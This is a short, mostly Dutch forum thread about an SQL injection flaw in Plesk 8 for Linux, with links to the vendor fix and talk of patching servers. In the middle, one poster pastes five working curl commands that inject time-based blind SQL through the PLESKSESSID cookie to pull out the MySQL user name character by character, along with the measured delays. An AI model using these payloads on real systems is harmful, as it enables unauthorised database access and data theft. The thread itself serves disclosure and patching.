SQL injection vulnerability within Plesk for Linux/Unix.

[davinci]

A security breach has currently made all versions of Plesk 8 for Linux Server vulnerable to an SQL injection.
Plesk versions 7.5.4 and 8.1.1 are not affected by this vulnerability

FIX: http://kb.swsoft.com/en/2169

(vreemd overigens dat deze fix nog niet via de auto-updater beschikbaar is)

[D. ter Horst]

Net even een aantal 8.2.0 server lopen patchen, SQL injection is niet zo mooi natuurlijk Iemand meer info over hoe ze die SQL injection doen dan?

[smurf]

Vrij ernstig:

1) Delay=5224.3877
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,1,1)=char(97),BENCHMARK(3000000,MD 5(CHAR(1))),null),2,3
from mysql.user/*"

2) Delay=5165.3031
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,2,1)=char(100),BENCHMARK(3000000,M D5(CHAR(1))),null),2,3
from mysql.user/*"

3) Delay=5158.9512
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,3,1)=char(109),BENCHMARK(3000000,M D5(CHAR(1))),null),2,3
from mysql.user/*"

4) Delay=5224.0980
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,4,1)=char(105),BENCHMARK(3000000,M D5(CHAR(1))),null),2,3
from mysql.user/*"

5) Delay=5241.5251
Curl.exe -k "https://www.???.com:8443/login.php3" --cookie
"PLESKSESSID=1' union select if
(substring(user,5,1)=char(110),BENCHMARK(3000000,M D5(CHAR(1))),null),2,3
from mysql.user/*"

Zo kon je alle data uit de plesk database lezen...

[davinci]

Inmiddels ook aanwezig als hotfix in de auto-update..
http://www.swsoft.com/en/download/plesk/patches/

[Ber|Art]

Thx! alles was al wel gepatched maar goed, nu ook automatisch...